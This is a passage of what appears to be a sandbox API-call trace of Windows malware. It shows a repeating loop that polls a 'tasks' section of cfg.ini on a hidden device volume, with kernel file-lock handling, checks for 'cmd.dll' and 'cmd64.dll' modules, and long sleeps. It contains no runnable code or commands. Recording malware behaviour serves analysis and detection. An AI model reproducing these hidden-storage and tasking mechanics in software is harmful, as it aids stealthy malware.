_Dest="0d24eb7c\\cfg.ini") returned 16 [0125.424] KeEnterCriticalRegion () [0125.424] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.424] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.424] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.424] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.424] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0125.424] IdePortDispatch () returned 0x103 [0125.424] KeWaitForMutexObject () returned 0x0 [0125.424] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.424] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.424] KeLeaveCriticalRegion () [0125.424] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.424] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.425] KeEnterCriticalRegion () [0125.425] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.425] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c4e000 [0125.425] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.425] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.425] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.425] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0125.425] IdePortDispatch () returned 0x103 [0125.425] KeWaitForMutexObject () returned 0x0 [0125.425] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.425] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.425] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.425] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.425] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0125.425] IdePortDispatch () returned 0x103 [0125.425] KeWaitForMutexObject () returned 0x0 [0125.425] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.425] KeLeaveCriticalRegion () [0125.425] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.426] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.426] KeEnterCriticalRegion () [0125.426] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.426] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.426] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.426] KeLeaveCriticalRegion () [0125.426] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.426] KeEnterCriticalRegion () [0125.426] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.426] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0125.426] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf71e0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.426] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.426] KeLeaveCriticalRegion () [0125.426] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.426] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.426] KeEnterCriticalRegion () [0125.426] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.426] ExFreePoolWithTag (P=0xfffffa8003bf7520, Tag=0x0) [0125.426] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.426] KeLeaveCriticalRegion () [0125.426] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.426] ReleaseMutex (hMutex=0xf0) returned 1 [0125.426] Sleep (dwMilliseconds=0x927c0) [0125.430] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0125.430] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.433] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0125.433] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.433] KeEnterCriticalRegion () [0125.433] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.433] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.433] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.433] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.433] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0125.433] IdePortDispatch () returned 0x103 [0125.433] KeWaitForMutexObject () returned 0x0 [0125.433] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.434] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.434] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.434] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.434] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.434] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf7010 [0125.434] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.434] KeLeaveCriticalRegion () [0125.434] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.434] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.434] KeEnterCriticalRegion () [0125.434] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.434] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.434] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.434] KeLeaveCriticalRegion () [0125.434] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.434] KeEnterCriticalRegion () [0125.434] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.434] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.434] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.434] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.434] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0125.434] IdePortDispatch () returned 0x103 [0125.435] KeWaitForMutexObject () returned 0x0 [0125.435] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.435] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.435] KeLeaveCriticalRegion () [0125.435] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.435] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.435] KeEnterCriticalRegion () [0125.435] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.435] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c51000 [0125.435] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.435] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.435] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.436] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0125.436] IdePortDispatch () returned 0x103 [0125.436] KeWaitForMutexObject () returned 0x0 [0125.436] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.436] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.436] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.436] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.436] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0125.436] IdePortDispatch () returned 0x103 [0125.436] KeWaitForMutexObject () returned 0x0 [0125.436] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.436] KeLeaveCriticalRegion () [0125.436] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.436] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.437] KeEnterCriticalRegion () [0125.437] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.437] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.437] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.437] KeLeaveCriticalRegion () [0125.437] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.437] KeEnterCriticalRegion () [0125.437] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.437] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0125.437] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf7330, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.437] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.437] KeLeaveCriticalRegion () [0125.437] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.437] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.437] KeEnterCriticalRegion () [0125.437] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.437] ExFreePoolWithTag (P=0xfffffa8003bf7010, Tag=0x0) [0125.437] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.437] KeLeaveCriticalRegion () [0125.437] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.437] ReleaseMutex (hMutex=0xf0) returned 1 [0125.437] Sleep (dwMilliseconds=0x927c0) [0125.447] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0125.448] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.448] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0125.448] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.448] KeEnterCriticalRegion () [0125.448] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.448] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.448] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.448] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.448] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0125.448] IdePortDispatch () returned 0x103 [0125.448] KeWaitForMutexObject () returned 0x0 [0125.448] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.448] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.448] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.448] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.448] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.448] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf7b50 [0125.448] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.448] KeLeaveCriticalRegion () [0125.448] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.448] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.448] KeEnterCriticalRegion () [0125.448] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.448] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.448] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.448] KeLeaveCriticalRegion () [0125.448] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.448] KeEnterCriticalRegion () [0125.448] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.448] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.448] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.448] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.448] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0125.448] IdePortDispatch () returned 0x103 [0125.449] KeWaitForMutexObject () returned 0x0 [0125.449] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.449] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.449] KeLeaveCriticalRegion () [0125.449] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.449] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.449] KeEnterCriticalRegion () [0125.449] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.449] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c55000 [0125.449] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.449] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.449] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.449] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0125.449] IdePortDispatch () returned 0x103 [0125.449] KeWaitForMutexObject () returned 0x0 [0125.449] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.449] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.449] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.449] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.449] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0125.449] IdePortDispatch () returned 0x103 [0125.449] KeWaitForMutexObject () returned 0x0 [0125.449] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.449] KeLeaveCriticalRegion () [0125.450] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.450] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.450] KeEnterCriticalRegion () [0125.450] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.450] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.450] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.450] KeLeaveCriticalRegion () [0125.450] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.450] KeEnterCriticalRegion () [0125.450] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.450] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0125.450] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf4410, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.450] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.450] KeLeaveCriticalRegion () [0125.450] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.450] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.450] KeEnterCriticalRegion () [0125.450] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.450] ExFreePoolWithTag (P=0xfffffa8003bf7b50, Tag=0x0) [0125.450] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.450] KeLeaveCriticalRegion () [0125.450] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.450] ReleaseMutex (hMutex=0xf0) returned 1 [0125.451] Sleep (dwMilliseconds=0x927c0) [0125.464] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0125.464] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.464] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0125.464] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.464] KeEnterCriticalRegion () [0125.464] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.464] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.464] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.464] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.464] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0125.464] IdePortDispatch () returned 0x103 [0125.464] KeWaitForMutexObject () returned 0x0 [0125.464] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.464] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.464] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.464] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.464] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.464] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf7570 [0125.464] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.464] KeLeaveCriticalRegion () [0125.464] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.464] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.464] KeEnterCriticalRegion () [0125.465] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.465] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.465] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.465] KeLeaveCriticalRegion () [0125.465] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.465] KeEnterCriticalRegion () [0125.465] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.465] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.465] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.465] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.465] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0125.465] IdePortDispatch () returned 0x103 [0125.465] KeWaitForMutexObject () returned 0x0 [0125.466] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.466] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.466] KeLeaveCriticalRegion () [0125.466] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.466] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.466] KeEnterCriticalRegion () [0125.466] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.466] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c5a000 [0125.466] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.466] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.466] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.466] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0125.466] IdePortDispatch () returned 0x103 [0125.466] KeWaitForMutexObject () returned 0x0 [0125.467] _strnicmp 